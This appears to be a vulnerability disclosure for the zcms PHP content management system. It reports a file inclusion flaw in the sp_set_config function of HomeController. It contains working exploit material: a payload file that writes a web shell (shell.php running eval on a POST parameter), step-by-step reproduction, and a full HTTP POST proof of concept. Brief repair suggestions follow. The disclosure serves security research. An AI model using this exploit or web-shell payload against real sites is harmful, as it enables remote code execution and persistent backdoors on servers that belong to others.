zhendezuile Create zcms：php file inclusion History

1 contributor

47 lines (37 sloc) | 2 KB

```
There is a file inclusion vulnerability here: index.php?m=home&c=home&a=sp_set_config

Vulnerability file: \Application\Home\Controller\HomeController.class.php
The vulnerability code is as follows:
You can see that the incoming file is directly included here, and the file is not filtered
.................................................
        function sp_set_config($file,$config_array){
                if (is_writable($file)) {
                        $config = require $file;
                        $config_content = array_merge($config, $config_array);
                        file_put_contents($file, "<?php \nreturn " . stripslashes(var_export($conf
                }
.................................................

Vulnerability to reproduce:
1、First create a 1.txt file in the root directory of the website, of course, this can be any file

2、The code in the 1.txt file is as follows:
<?php phpinfo();?> <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>

3、Visit url: http://www.xxx.com/index.php?m=home&c=home&a=sp_set_config , use the post method to p
The poc is as follows:
.....................................................................................
POST /index.php?m=home&c=home&a=sp_set_config HTTP/1.1
Host: www.xiaodi.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
```

```
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

file=1.txt&config_array=xxx
.....................................................................................

4、You can see that shell.php is successfully generated in the root directory of the website


Repair suggestion:
1、Restrict incoming files to php suffix
2、Specifies the incoming filename
3、Detect and filter the content of incoming files

```